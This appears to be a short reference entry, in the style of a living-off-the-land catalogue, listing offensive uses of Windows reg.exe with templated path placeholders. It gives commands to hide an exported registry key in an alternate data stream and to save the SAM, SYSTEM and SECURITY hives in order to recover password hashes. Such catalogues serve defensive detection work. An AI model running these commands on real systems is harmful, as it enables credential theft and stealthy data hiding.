Used to manipulate the registry
Export the target Registry key and save it to the specified .REG file within an Alternate data stream.
reg export HKLM\SOFTWARE\Microsoft\Evilreg {PATH_ABSOLUTE}:evilreg.reg
Dump registry hives (SAM, SYSTEM, SECURITY) to retrieve password hashes and key material
reg save HKLM\SECURITY {PATH_ABSOLUTE:.1.bak} && reg save HKLM\SYSTEM {PATH_ABSOLUTE:.2.bak} && reg save HKLM\SAM {PATH_ABSOLUTE:.3.bak}